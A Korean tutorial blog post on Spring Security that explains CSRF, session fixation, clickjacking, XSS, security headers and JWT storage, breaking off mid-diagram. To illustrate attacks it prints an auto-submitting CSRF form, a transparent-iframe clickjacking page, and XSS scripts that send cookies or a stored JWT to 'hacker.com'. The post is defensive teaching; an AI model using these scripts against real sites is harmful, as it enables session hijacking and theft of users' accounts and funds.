Spring Security 보안 방어 메커니즘

존스노우·5일 전
0

springSecurity

목록 보기
76/76

📑 목차

  1. CSRF 공격 방어
  2. 세션 고정 공격 방어
  3. 보안 헤더 자동 설정
  4. JWT를 사용한 보안 전략
  5. 전체 요약

1. 🎭 CSRF 공격 방어

CSRF (Cross-Site Request Forgery)란?

실생활 비유: 도용된 서명

당신이 은행에 있는데, 누군가 당신의 서명이 찍힌 수표를 가져와서 돈을 인출하려고 합니다.


공격 시나리오 상세 분석

🏦 정상적인 사용자의 하루:

시간대별 공격 과정
├─ 오전 9시: 은행 웹사이트 로그인
│  └─ 브라우저에 세션 쿠키 저장: JSESSIONID=ABC123
│
├─ 오전 10시: 이메일 확인 중 악성 링크 클릭
│  └─ "무료 아이폰 당첨!" 같은 피싱 메일
│
└─ 악성 사이트 접속 시 자동 실행되는 공격

해커가 심어둔 악성 코드:

<<!-- 악성 웹사이트의 숨겨진 코드 -->
<!DOCTYPE html>
<html>
<body>
    <h1>축하합니다! 아이폰에 당첨되셨습니다!</h1>

    <!-- 사용자가 보지 못하는 숨겨진 이미지 태그 -->
    <img src="https://mybank.com/transfer?to=hacker&amount=1000000"
         style="display:none;" />

    <!-- 또는 자동 제출되는 폼 -->
    <form id="hack" action="https://mybank.com/transfer" method="POST">
        <input type="hidden" name="to" value="hacker" />
        <input type="hidden" name="amount" value="1000000" />
    </form>
    <script>
        document.getElementById('hack').submit();
    </script>
</body>
</html>

공격 흐름도:

[사용자] ────로그인────> [은행 서버]
   │                         │
   │  <────쿠키 발급────     
      (JSESSIONID=ABC123)   
                            
                            
[사용자] ────클릭────> [악성 사이트]
   │                         │
   │  브라우저가 자동으로    │
   │  은행에 요청 전송       │
   │  (쿠키도 함께 전송!)    │
   │                         │
   └──────────────────────> [은행 서버]
                              │
                         쿠키 확인 ✓
                         로그인 상태 확인 ✓
                         💸 송금 실행!

Spring Security의 CSRF 방어 메커니즘

동작 원리

// SecurityConfig.java
http.csrf(Customizer.withDefaults());  // 기본값 (활성화)

방어 과정 상세:

1️⃣ 로그인 시 CSRF 토큰 생성
   ┌─────────────────────────────────────────┐
   │ 서버가 랜덤 토큰 생성                    │
   │ 예: "a1b2c3d4-e5f6-7890-abcd-ef123456"  │
   └─────────────────────────────────────────┘

2️⃣ 정상 HTML 폼에 토큰 포함
<form method="post" action="/transfer">
    <!-- Spring Security가 자동으로 추가 -->
    <input type="hidden"
           name="_csrf"
           value="a1b2c3d4-e5f6-7890-abcd-ef1234567890"/>

    <input type="text" name="to" placeholder="받는 사람"/>
    <input type="number" name="amount" placeholder="금액"/>
    <button type="submit">송금</button>
</form>
3️⃣ POST 요청 시 토큰 검증 로직
   ┌────────────────────────────────────────┐
   │ CsrfFilter가 요청 검사                 │
   ├────────────────────────────────────────┤
   │ if (토큰 없음) {                        │
   │     return 403 Forbidden;              │
   │ }                                      │
   │                                        │
   │ if (토큰 != 세션의 토큰) {              │
   │     return 403 Forbidden;              │
   │ }                                      │
   │                                        │
   │ ✅ 정상 요청 처리                       │
   └────────────────────────────────────────┘

4️⃣ 해커의 공격이 실패하는 이유
   ┌────────────────────────────────────────┐
   │ 악성 사이트는 CSRF 토큰을 모름          │
   │ → Same-Origin Policy로 접근 불가       │
   │ → 토큰 없이 요청 전송                   │
   │ → 서버가 403 Forbidden 응답            │
   └────────────────────────────────────────┘

REST API에서 CSRF 비활성화 - 주의사항 ⚠️

중요: CSRF 비활성화는 "완전한 stateless API"에서만!

CSRF 공격은 쿠키나 자동 인증 정보를 함께 전송할 때 성립합니다.

✅ CSRF 비활성화 해도 안전한 경우

// SecurityConfig.java
http
    .csrf(csrf -> csrf.disable())
    .sessionManagement(session -> session
        .sessionCreationPolicy(SessionCreationPolicy.STATELESS)  // 세션 미사용
    );

조건:
1. ✅ 세션 쿠키를 전혀 사용하지 않음
2. ✅ Authorization 헤더로만 인증 (JWT, OAuth2 Bearer Token 등)
3. ✅ 브라우저 클라이언트가 아닌 경우 (모바일 앱, 서버 간 통신)

// ✅ 안전한 REST API 클라이언트 (모바일, 서버)
fetch('https://api.example.com/transfer', {
    method: 'POST',
    headers: {
        'Authorization': 'Bearer eyJhbGc...',  // JWT 토큰
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({ to: 'user123', amount: 1000 })
});

// 브라우저는 다른 도메인의 Authorization 헤더를 추가할 수 없음
// → CSRF 공격 불가능

❌ CSRF 비활성화하면 위험한 경우

이런 경우 CSRF를 반드시 활성화해야 합니다!

1. 세션 쿠키 기반 인증을 사용하는 REST API

// ❌ 위험한 설정!
http
    .csrf(csrf -> csrf.disable())  // CSRF 비활성화
    .formLogin(Customizer.withDefaults());  // 세션 쿠키 사용!
// ❌ 이런 REST API는 CSRF 공격에 취약!
fetch('https://api.example.com/transfer', {
    method: 'POST',
    credentials: 'include',  // 쿠키 자동 전송!
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({ to: 'hacker', amount: 1000000 })
});

// 악성 사이트에서도 같은 요청을 보낼 수 있음
// 브라우저가 자동으로 쿠키를 함께 전송
// → CSRF 공격 성공!

2. 브라우저 기반 SPA (Single Page Application)

// ❌ 브라우저 SPA에서 쿠키 인증 사용 시 취약
// React, Vue, Angular 등

// LocalStorage에 토큰 저장 + withCredentials 사용
const token = localStorage.getItem('token');

axios.post('https://api.example.com/transfer',
    { to: 'user123', amount: 1000 },
    {
        withCredentials: true,  // 쿠키 전송!
        headers: { 'X-Auth-Token': token }
    }
);

// withCredentials: true 사용 시 → CSRF 토큰 필요!

공식 문서 권장사항

"A backend application that does not serve browser traffic may choose to disable CSRF."

Spring Security CSRF 공식 문서

핵심: "does not serve browser traffic" = 브라우저 트래픽을 제공하지 않는 경우 (모바일 앱, 서버 간 통신 등)


올바른 CSRF 설정 가이드

환경인증 방식CSRF 설정이유
브라우저 Form 로그인세션 쿠키✅ 활성화쿠키 자동 전송으로 CSRF 공격 가능
브라우저 SPA + 세션 쿠키세션 쿠키 + withCredentials✅ 활성화쿠키 전송 시 CSRF 위험
브라우저 SPA (순수 JWT)LocalStorage + Authorization 헤더⚠️ 활성화 권장XSS 방어 측면에서 활성화 고려
모바일 앱Authorization 헤더 (JWT)❌ 비활성화쿠키 미사용, CSRF 불가능
서버 간 통신API Key, OAuth2 Client Credentials❌ 비활성화브라우저 아님, CSRF 불가능

CSRF 토큰 사용 예시 (Thymeleaf)

<!-- Thymeleaf 템플릿에서 자동 포함 -->
<form th:action="@{/transfer}" method="post">
    <!-- Spring Security가 자동으로 추가 (보이지 않음) -->

    <input type="text" name="to" />
    <input type="number" name="amount" />
    <button>송금</button>
</form>

렌더링된 HTML:

<form action="/transfer" method="post">
    <!-- 자동 생성된 CSRF 토큰 -->
    <input type="hidden"
           name="_csrf"
           value="38f8e7a9-4c2d-4b1e-9f3a-7e8d9c2b1a0f"/>

    <input type="text" name="to" />
    <input type="number" name="amount" />
    <button>송금</button>
</form>

2. 🔐 세션 고정 (Session Fixation) 공격 방어

Session Fixation이란?

실생활 비유: 호텔 방 열쇠 바꿔치기

해커가 미리 호텔 방 열쇠를 받아놓고, 당신이 그 방에 체크인하도록 유도하는 공격입니다.


공격 시나리오 상세 분석

🏨 세션 고정 공격의 전체 과정

타임라인:
─────────────────────────────────────────────────────

T1. 해커가 공격 준비
    │
    ├─ 은행 사이트 접속
    │  GET https://mybank.com
    │
    └─ 서버가 세션 ID 발급
       Set-Cookie: JSESSIONID=SESSION123

T2. 해커가 피해자 유인
    │
    └─ 이메일/메신저로 링크 전송
       "은행에서 보안 업데이트 필요합니다"
       https://mybank.com/login?sessionId=SESSION123

T3. 피해자가 링크 클릭
    │
    ├─ 브라우저가 SESSION123을 쿠키로 설정
    │
    └─ 피해자가 정상적으로 로그인
       POST /login
       username: victim
       password: ****
       Cookie: JSESSIONID=SESSION123

T4. 서버 처리 (취약한 경우)
    │
    └─ "SESSION123으로 로그인 성공!"
       세션 ID를 그대로 유지 ← 문제!

T5. 해커가 계정 탈취
    │
    └─ 해커가 SESSION123으로 접속
       Cookie: JSESSIONID=SESSION123
       → 피해자로 로그인된 상태 획득!

공격 상세 다이어그램

┌─────────┐         ┌─────────┐         ┌─────────┐
│  해커   │         │ 피해자  │         │  서버   │
└────┬────┘         └────┬────┘         └────┬────┘
     │                   │                   │
     │                   │                   │
     │ 1. 접속           │                   │
     ├───────────────────────────────────────>│
     │                   │                   │
     │          2. 세션 ID 발급               │
     │<───────────────────────────────────────┤
             (SESSION123)                    
                                           
      3. 악성 링크 전송                    
     ├──────────────────>│                   │
     │  "로그인하세요"   │                   │
     │  ?sessionId=      │                   │
     │   SESSION123      │                   │
     │                   │                   │
     │                   │ 4. 클릭 & 로그인  │
     │                   ├──────────────────>│
     │                   │  SESSION123       │
     │                   │  user: victim     │
     │                   │  pass: ****       │
     │                   │                   │
     │                   │ 5. 로그인 성공    │
     │                   │<──────────────────┤
                          (SESSION123 유지)│
                                           
      6. 탈취 (SESSION123 사용)             
     ├───────────────────────────────────────>│
     │                   │                   │
     │ 7. 피해자로 인증됨!                   │
     │<───────────────────────────────────────┤
     │  💀 계정 탈취 성공                    │
     │                   │                   │

Spring Security의 방어 메커니즘

// SecurityConfig.java - Spring Security 6.x 기본값
http.sessionManagement(session -> session
    .sessionFixation().changeSessionId()  // 기본값
);

방어 전략 옵션:

옵션설명보안 수준
none()세션 ID 유지 (취약!)❌ 위험
newSession()새 세션 생성 (모든 속성 제거)⚠️ 주의
migrateSession()새 세션 생성 + 속성 복사✅ 안전
changeSessionId()세션 ID만 변경 (속성 유지)✅ 안전 (권장)

방어 동작 과정 상세

✅ Spring Security가 적용된 안전한 로그인

┌──────────────────────────────────────────────────┐
│ Step 1: 피해자가 해커의 링크로 로그인 시도        │
├──────────────────────────────────────────────────┤
│ POST /login                                      │
│ Cookie: JSESSIONID=SESSION123 (해커가 준 것)     │
│ username: victim                                 │
│ password: ****                                   │
└──────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────┐
│ Step 2: 서버가 로그인 성공 감지                  │
├──────────────────────────────────────────────────┤
│ DaoAuthenticationProvider:                       │
│   ✓ username 확인                                │
│   ✓ password 검증                                │
│   ✓ 인증 성공!                                   │
└──────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────┐
│ Step 3: SessionAuthenticationStrategy 실행       │
├──────────────────────────────────────────────────┤
│ ChangeSessionIdAuthenticationStrategy:           │
│                                                  │
│   old ID = "SESSION123"                          │
│   new ID = request.changeSessionId()             │
│   new ID = "SESSION999" ← 자동 생성!             │
│                                                  │
│   세션 속성은 그대로 유지                         │
│   SecurityContext도 자동 이전                    │
└──────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────┐
│ Step 4: 피해자에게 새로운 세션 ID 발급           │
├──────────────────────────────────────────────────┤
│ Set-Cookie: JSESSIONID=SESSION999                │
│                                                  │
│ 피해자는 SESSION999로 로그인 상태 유지            │
└──────────────────────────────────────────────────┘

┌──────────────────────────────────────────────────┐
│ Step 5: 해커의 공격 실패                         │
├──────────────────────────────────────────────────┤
│ 해커가 SESSION123으로 접속 시도:                 │
│   GET /account                                   │
│   Cookie: JSESSIONID=SESSION123                  │
│                                                  │
│ 서버 응답:                                       │
│   ❌ 유효하지 않은 세션                           │
│   → 로그인 페이지로 리다이렉트                    │
│                                                  │
│ 💪 공격 차단 성공!                               │
└──────────────────────────────────────────────────┘

코드 레벨 동작 예시

// 내부 동작 (개념적 설명)

// ❌ Before 로그인 (취약한 코드)
@PostMapping("/login")
public String login(HttpServletRequest request) {
    // 인증 성공
    HttpSession session = request.getSession();
    String sessionId = session.getId();
    System.out.println("세션 ID: " + sessionId);  // SESSION123

    // 세션 ID 그대로 유지 → 위험!
    return "redirect:/home";
}

// ✅ After 로그인 (Spring Security 적용)
// Spring Security가 자동으로 처리
@PostMapping("/login")
public String login(HttpServletRequest request) {
    // 1. DaoAuthenticationProvider가 인증 수행
    // 2. 인증 성공 시 ChangeSessionIdAuthenticationStrategy 자동 실행

    HttpSession session = request.getSession();
    String oldId = "SESSION123";  // 로그인 전
    String newId = session.getId();  // SESSION999 (자동 변경됨!)

    System.out.println("Old: " + oldId);  // SESSION123
    System.out.println("New: " + newId);  // SESSION999

    return "redirect:/home";
}

추가 보안 설정

// 더 강력한 세션 보안 설정
http.sessionManagement(session -> session
    // 세션 고정 방어
    .sessionFixation().changeSessionId()

    // 동시 세션 제어 (한 계정 = 1개 세션만)
    .maximumSessions(1)
    .maxSessionsPreventsLogin(true)  // 새 로그인 시 기존 세션 차단

    // 세션 타임아웃
    .expiredUrl("/login?expired")
);

3. 🛡️ 보안 헤더 자동 설정

Spring Security 6.x 기본 보안 헤더

공식 문서 기준 기본 활성화 헤더

Spring Security는 명시적 설정 없이 다음 헤더를 자동으로 추가합니다:

Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000 ; includeSubDomains  # HTTPS만

참고: Spring Security Default Headers


3-1. XSS (Cross-Site Scripting) 방어

실생활 비유: 카페 게시판에 독이 든 쿠키를 올리는 공격


⚠️ X-XSS-Protection 헤더는 더 이상 사용되지 않음

중요: Spring Security 6.x에서 X-XSS-Protection 기본값 변경

  • Spring Security 5.x 이하: X-XSS-Protection: 1; mode=block (활성화)
  • Spring Security 6.x: X-XSS-Protection: 0 (비활성화)

이유:

  • Chrome, Edge 등 주요 브라우저가 XSS Auditor 제거
  • XSS Auditor 자체의 취약점 발견
  • 현대적 방어는 Content-Security-Policy (CSP) 사용
// Spring Security 6.x 기본 동작
// X-XSS-Protection 헤더를 더 이상 자동으로 추가하지 않음
// 또는 X-XSS-Protection: 0 으로 설정

XSS 공격 시나리오

📝 게시판 XSS 공격 과정

1. 해커가 게시판에 악성 스크립트 작성
   ┌──────────────────────────────────────┐
   │ 제목: 맛집 추천                       │
   │ 내용:                                 │
   │ <script>                             │
   │   fetch('https://hacker.com/steal' + │
   │     '?cookie=' + document.cookie)    │
   │ </script>                            │
   └──────────────────────────────────────┘

2. 서버가 검증 없이 저장 (취약한 경우)
   ┌──────────────────────────────────────┐
   │ DB에 스크립트 그대로 저장             │
   └──────────────────────────────────────┘

3. 다른 사용자가 게시글 조회
   ┌──────────────────────────────────────┐
   │ GET /board/123                       │
   │                                      │
   │ 서버 응답:                            │
   │ <div class="content">                │
   │   <script>                           │
   │     fetch('hacker.com/steal...')     │
   │   </script>                          │
   │ </div>                               │
   └──────────────────────────────────────┘

4. 브라우저가 스크립트 실행
   ┌──────────────────────────────────────┐
   │ → 사용자 쿠키 탈취                    │
   │ → 해커 서버로 전송                    │
   │ → 세션 하이재킹 성공                  │
   └──────────────────────────────────────┘

현대적 XSS 방어: Content-Security-Policy (CSP)

CSP가 XSS 방어의 표준입니다

X-XSS-Protection 대신 CSP (Content-Security-Policy)를 사용하세요.

<// SecurityConfig.java
http.headers(headers -> headers
    .contentSecurityPolicy(csp -> csp
        .policyDirectives(
            "default-src 'self'; " +
            "script-src 'self' https://cdn.jsdelivr.net; " +
            "style-src 'self' 'unsafe-inline'; " +
            "img-src 'self' data: https:; " +
            "font-src 'self' data:; " +
            "connect-src 'self' https://api.example.com; " +
            "frame-ancestors 'none'"
        )
    )
);

실제 HTTP 응답 헤더:

HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline'; frame-ancestors 'none'

CSP 지시어 설명

지시어설명예시보안 영향
default-src기본 정책 (모든 리소스)'self'같은 도메인만 허용
script-srcJavaScript 출처 제한'self' https://cdn.comXSS 핵심 방어
style-srcCSS 출처 제한'self' 'unsafe-inline'인라인 스타일 제어
img-src이미지 출처 제한'self' data: https:외부 이미지 추적 차단
connect-srcAJAX/WebSocket 출처'self' https://api.comAPI 엔드포인트 제한
frame-ancestorsiframe 포함 제한'none'Clickjacking 방어

CSP 위반 시 브라우저 동작

악성 스크립트 실행 시도 시:

┌──────────────────────────────────────────────┐
│ 브라우저 Console Error:                      │
├──────────────────────────────────────────────┤
│ 🔴 Refused to load the script                │
│    'https://evil.com/hack.js'                │
│    because it violates the following         │
│    Content Security Policy directive:        │
│    "script-src 'self'"                       │
└──────────────────────────────────────────────┘

결과: 스크립트 실행 차단 ✅

X-Content-Type-Options

X-Content-Type-Options: nosniff

Spring Security 기본 활성화 ✅

방어 시나리오:

공격: 이미지 파일을 스크립트로 실행

1. 해커가 이미지로 위장한 스크립트 업로드
   ┌──────────────────────────────────┐
   │ 파일명: cat.jpg                  │
   │ Content-Type: image/jpeg         │
   │ 실제 내용:                        │
   │ <script>alert('XSS')</script>    │
   └──────────────────────────────────┘

2. HTML에 스크립트로 포함 시도
   <script src="/uploads/cat.jpg"></script>

3. X-Content-Type-Options: nosniff 적용
   ┌──────────────────────────────────┐
   │ 브라우저:                         │
   │ "Content-Type이 image/jpeg인데   │
   │  스크립트로 실행하려고 함"         │
   │ → 차단!                          │
   └──────────────────────────────────┘

개발자를 위한 XSS 방어 체크리스트

다층 방어 (Defense in Depth)

백엔드 (Spring)

  • Content-Security-Policy 설정
  • 사용자 입력 검증 (@Valid, @Pattern 등)
  • HTML 이스케이프 처리 (Thymeleaf 자동)
  • X-Content-Type-Options: nosniff (기본 활성화)

프론트엔드

  • innerHTML 대신 textContent 사용
  • DOMPurify 같은 라이브러리 사용
  • 사용자 입력 출력 시 이스케이프 처리

데이터베이스

  • Prepared Statement 사용 (SQL Injection 방지)
  • ORM (JPA) 사용 권장

3-2. Clickjacking 방어

실생활 비유: 투명한 레이어로 버튼 가로채기


Clickjacking 공격 시나리오

<!-- 해커의 악성 사이트 코드 -->
<!DOCTYPE html>
<html>
<head>
    <style>
        /* 은행 사이트를 투명하게 덮음 */
        #trap {
            opacity: 0;        /* 완전 투명 */
            position: absolute;
            top: 100px;        /* 버튼 위치 맞춤 */
            left: 200px;
            width: 400px;
            height: 300px;
            z-index: 2;        /* 가장 위에 배치 */
        }

        /* 가짜 버튼 */
        #fake-button {
            position: absolute;
            top: 100px;
            left: 200px;
            z-index: 1;        /* iframe 아래 배치 */
        }
    </style>
</head>
<body>
    <h1>🎁 무료 iPhone 15 Pro 받기!</h1>
    <p>아래 버튼을 클릭하면 즉시 당첨!</p>

    <!-- 사용자가 보는 가짜 버튼 -->
    <button id="fake-button">
        지금 받기! 🎉
    </button>

    <!-- 투명한 진짜 은행 사이트 -->
    <iframe id="trap"
            src="https://mybank.com/delete-account">
    </iframe>
</body>
</html>

공격 과정 시각화

사용자의 화면:
┌─────────────────────────────────────────┐
│  🎁 무료 iPhone 15 Pro 받기!             │
│                                         │
│  아래 버튼을 클릭하면 즉시 당첨!         │
│                                         │
│  ┌────────────────┐                    │
│  │ 지금 받기! 🎉  │ ← 사용자가 보는 버튼│
│  └────────────────┘                    │
│                                         │
└─────────────────────────────────────────┘

실제 HTML 구조:
┌─────────────────────────────────────────┐
│  가짜 버튼 (z-index: 1)                 │
│  ┌────────────────┐                    │
│  │ 지금 받기! 🎉  │                     │
│  └────────────────┘                    │
│         ▲                               │
│         │ 사용자 클릭                    │
│         │                               │
│  ┌──────┼──────────────────────┐       │
│  │      ▼                       │       │
│  │  [계좌 삭제 버튼]             │       │
│  │  (투명 iframe, z-index: 2)   │       │
│  │  실제로 클릭되는 것!           │       │
│  └──────────────────────────────┘       │
└─────────────────────────────────────────┘

Spring Security의 Clickjacking 방어

// Spring Security 기본 설정 (자동 활성화)
http.headers(headers -> headers
    .frameOptions(frame -> frame.deny())  // 기본값
);

HTTP 응답 헤더:

HTTP/1.1 200 OK
X-Frame-Options: DENY

X-Frame-Options 옵션 상세

옵션설명사용 시나리오Spring Security 기본
DENY모든 frame 포함 차단은행, 관리자 페이지✅ 기본값
SAMEORIGIN같은 도메인만 허용일반 웹사이트-
ALLOW-FROM uri특정 도메인만 허용⚠️ deprecated-

설정 예시:

// 1. 완전 차단 (권장 - 은행, 결제 시스템)
http.headers(headers -> headers
    .frameOptions(frame -> frame.deny())
);

// 2. 같은 도메인만 허용 (내부 iframe 사용 시)
http.headers(headers -> headers
    .frameOptions(frame -> frame.sameOrigin())
);

// 3. 비활성화 (iframe 임베딩 허용 - 주의!)
http.headers(headers -> headers
    .frameOptions(frame -> frame.disable())
);

최신 방어: Content-Security-Policy frame-ancestors

Content-Security-Policy: frame-ancestors 'none'

CSP vs X-Frame-Options 비교:

특징X-Frame-OptionsCSP frame-ancestors
표준구식 (deprecated)최신 표준 ✅
브라우저 지원모든 브라우저모던 브라우저
유연성제한적 (3가지 옵션)높음 (여러 출처 지정)
권장 사항하위 호환용 유지신규 개발 사용

Spring Security 설정 (권장):

http.headers(headers -> headers
    // 구식 브라우저용 (하위 호환)
    .frameOptions(frame -> frame.deny())

    // 최신 표준 (모던 브라우저)
    .contentSecurityPolicy(csp -> csp
        .policyDirectives(
            "default-src 'self'; " +
            "frame-ancestors 'none'"  // Clickjacking 방어
        )
    )
);

CSP frame-ancestors 옵션:

# 모든 frame 차단 (X-Frame-Options: DENY와 동일)
Content-Security-Policy: frame-ancestors 'none'

# 같은 도메인만 허용 (X-Frame-Options: SAMEORIGIN와 동일)
Content-Security-Policy: frame-ancestors 'self'

# 특정 도메인 허용 (여러 개 가능)
Content-Security-Policy: frame-ancestors https://trusted.com https://partner.com

# 모든 출처 허용 (비권장!)
Content-Security-Policy: frame-ancestors *

브라우저 동작 예시

❌ iframe 차단 시 브라우저 동작:

1. 악성 사이트에서 iframe 로드 시도
   <iframe src="https://mybank.com/transfer"></iframe>

2. 브라우저가 응답 헤더 확인
   X-Frame-Options: DENY

3. 브라우저가 렌더링 거부
   ┌─────────────────────────────────────┐
   │ [빈 iframe - 렌더링 안 됨]           │
   └─────────────────────────────────────┘

4. 콘솔 에러 출력
   🔴 Console Error:
   Refused to display 'https://mybank.com/transfer'
   in a frame because it set 'X-Frame-Options' to 'deny'.

3-3. HSTS (HTTP Strict Transport Security)

HSTS는 HTTPS 환경 전용입니다

HTTP 환경에서는 적용되지 않거나 브라우저 경고를 유발합니다.

Strict-Transport-Security: max-age=31536000 ; includeSubDomains

Spring Security 기본 동작:

  • HTTPS 응답: HSTS 헤더 자동 추가
  • HTTP 응답: HSTS 헤더 추가 안 함

HSTS 동작 원리

HSTS의 역할: HTTPS 강제

1. 사용자가 https://mybank.com 접속
2. 서버가 HSTS 헤더 응답
   Strict-Transport-Security: max-age=31536000

3. 브라우저가 HSTS 정책 저장 (1년간)

4. 이후 사용자가 http://mybank.com 입력 시
   ┌────────────────────────────────────┐
   │ 브라우저가 자동으로 변환:           │
   │ http://mybank.com                  │
   │   ↓                                │
   │ https://mybank.com                 │
   │                                    │
   │ 서버 요청 전에 브라우저가 처리!     │
   └────────────────────────────────────┘

5. 중간자 공격(MITM) 차단
   - SSL Strip 공격 방어
   - 공격자가 HTTP로 유도해도 브라우저가 HTTPS 강제

개발 환경 설정 주의사항

// 개발 환경 (HTTP) - HSTS 비활성화
@Configuration
@Profile("dev")
public class DevSecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .headers(headers -> headers
                .httpStrictTransportSecurity(hsts -> hsts.disable())  // HTTP 환경
            );

        return http.build();
    }
}

// 운영 환경 (HTTPS) - HSTS 활성화
@Configuration
@Profile("prod")
public class ProdSecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .headers(headers -> headers
                .httpStrictTransportSecurity(hsts -> hsts
                    .maxAgeInSeconds(31536000)  // 1년
                    .includeSubDomains(true)    // 서브도메인 포함
                    .preload(true)              // HSTS Preload List 등록용
                )
            );

        return http.build();
    }
}

4. 🔑 JWT를 사용한 보안 전략

JWT (JSON Web Token) vs 세션 쿠키

핵심 질문: "JWT를 사용하면 위에서 설명한 보안 문제들이 해결되나요?"

답변: 일부는 해결되지만, 새로운 보안 위험도 생깁니다.


JWT란?

실생활 비유: 공항 보딩 패스 (Boarding Pass)

세션 쿠키는 "호텔 방 열쇠" (서버가 정보 보관)
JWT는 "항공권" (모든 정보가 티켓에 인쇄됨)

세션 쿠키 방식:
┌─────────┐         ┌─────────┐
│  쿠키   │         │  서버   │
│  ID:123 │────────>│ 세션 저장소 │
└─────────┘         │ ID:123  │
                    │ user: kim │
                    │ role: admin │
                    └─────────┘

JWT 방식:
┌──────────────────────────────┐
│ JWT 토큰 (모든 정보 포함)     │
│ eyJhbGc...                   │
│ {                            │
│   "user": "kim",             │
│   "role": "admin",           │
│   "exp": 1640000000          │
│ }                            │
└──────────────────────────────┘

보안 문제별 JWT의 영향

1️⃣ CSRF 공격 - ✅ 해결됨 (조건부)

JWT를 Authorization 헤더로 전송하면 CSRF 공격이 불가능합니다

왜 안전한가?

// ✅ 안전한 JWT 사용법
fetch('https://api.example.com/transfer', {
    method: 'POST',
    headers: {
        'Authorization': 'Bearer eyJhbGc...',  // JWT를 헤더로 전송
        'Content-Type': 'application/json'
    },
    // credentials: 'include' 사용 안 함 = 쿠키 전송 안 함
    body: JSON.stringify({ to: 'user123', amount: 1000 })
});

// 악성 사이트에서 시도 시
// ❌ Authorization 헤더를 추가할 수 없음 (Same-Origin Policy)
// ❌ 공격 실패!

핵심 원리:

  • CSRF는 브라우저가 자동으로 쿠키를 전송하는 것을 악용
  • JWT는 JavaScript가 수동으로 헤더에 추가해야 함
  • 악성 사이트는 다른 도메인의 LocalStorage/SessionStorage에 접근 불가
  • Authorization 헤더를 추가할 수 없음 → 공격 불가능

2️⃣ 세션 고정 공격 - ✅ 완전히 해결됨

왜 안전한가?

  • 서버에 세션이 없음 (Stateless)
  • 세션 ID 자체가 존재하지 않음
  • 세션 고정 공격 자체가 성립 불가능
// JWT 방식 - 서버에 세션 저장 안 함
http.sessionManagement(session -> session
    .sessionCreationPolicy(SessionCreationPolicy.STATELESS)  // 세션 미생성
);

3️⃣ XSS 공격 - ❌ 오히려 더 위험!

중요: JWT를 LocalStorage에 저장하면 XSS 공격에 매우 취약합니다

HttpOnly Cookie보다 훨씬 위험합니다!

공격 시나리오:

// 일반적인 JWT 저장 방법
localStorage.setItem('token', 'eyJhbGc...');

// ❌ XSS 공격으로 JWT 탈취
// 해커가 게시판에 올린 악성 스크립트
<script>
    const token = localStorage.getItem('token');

    // 해커 서버로 JWT 전송
    fetch('https://hacker.com/steal', {
        method: 'POST',
        body: JSON.stringify({
            stolen_token: token,
            victim: window.location.href
        })
    });
</script>

// 해커가 탈취한 JWT로 API 호출
fetch('https://api.example.com/transfer', {
    method: 'POST',
    headers: {
        'Authorization': 'Bearer ' + stolen_token  // 탈취한 토큰 사용
    },
    body: JSON.stringify({ to: 'hacker', amount: 1000000 })
});

왜 더 위험한가?

저장 방식JavaScript 접근XSS 위험도
LocalStorage✅ 가능🔴 매우 높음
SessionStorage✅ 가능🔴 매우 높음
HttpOnly Cookie❌ 불가능✅ 낮음
// HttpOnly Cookie는 JavaScript로 접근 불가
document.cookie;  // "session=abc123; HttpOnly" → 값을 읽을 수 없음

// LocalStorage는 JavaScript로 쉽게 접근
localStorage.getItem('token');  // "eyJhbGc..." → 탈취 가능!

4️⃣ Clickjacking - 변화 없음

JWT 사용 여부와 무관하게 여전히 위험


JWT 저장 위치별 보안 비교

저장 위치CSRFXSS세션 고정구현 난이도권장 사용
LocalStorage + Authorization 헤더✅ 안전🔴 매우 취약✅ 해당 없음쉬움⚠️ XSS 방어 필수
HttpOnly Cookie🔴 위험✅ 안전✅ 해당 없음보통✅ 권장 (CSRF 토큰 필요)
세션 쿠키 (전통 방식)🔴 위험✅ 안전🔴 위험쉬움⚠️ CSRF + 세션 고정 방어 필요

JWT 보안 전략 1: LocalStorage + CSP (일반적 방법)

구조:

브라우저                      서버
┌─────────────┐          ┌─────────────┐
│ LocalStorage│          │  REST API   │
│ token: JWT  │          │  (Stateless)│
└─────┬───────┘          └─────────────┘
      │
      │ JavaScript로 수동 추가
      ↓
┌─────────────────────────────┐
│ Authorization: Bearer JWT   │
└─────────────────────────────┘

Spring Security 설정:

// SecurityConfig.java
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        // CSRF 비활성화 (쿠키 사용 안 함)
        .csrf(csrf -> csrf.disable())

        // 세션 미사용 (Stateless)
        .sessionManagement(session -> session
            .sessionCreationPolicy(SessionCreationPolicy.STATELESS)
        )

        // ⚠️ XSS 방어를 위한 엄격한 CSP 필수!
        .headers(headers -> headers
            .contentSecurityPolicy(csp -> csp
                .policyDirectives(
                    "default-src 'self'; " +
                    "script-src 'self'; " +  // 외부 스크립트 완전 차단
                    "object-src 'none'; " +
                    "base-uri 'self'; " +
                    "frame-ancestors 'none'"
                )
            )
        );

    return http.build();
}

프론트엔드 (React/Vue/Angular):

// 로그인 시 JWT 저장
const login = async (username, password) => {
    const response = await fetch('https://api.example.com/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ username, password })
    });

    const data = await response.json();
    localStorage.setItem('token', data.token);  // JWT 저장
};

// API 호출 시 JWT 추가
const transferMoney = async (to, amount) => {
    const token = localStorage.getItem('token');

    await fetch('https://api.example.com/transfer', {
        method: 'POST',
        headers: {
            'Authorization': `Bearer ${token}`,  // JWT 추가
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ to, amount })
    });
};

장점:

  • ✅ CSRF 방어 불필요
  • ✅ 구현 간단
  • ✅ 모바일 앱에서도 동일한 API 사용 가능
  • ✅ 서버 확장성 좋음 (Stateless)

단점:

  • ❌ XSS에 매우 취약
  • ❌ CSP를 강력하게 설정해야 함
  • ❌ 토큰 탈취 시 서버에서 무효화 불가능

구조:

브라우저                      서버
┌─────────────┐          ┌─────────────┐
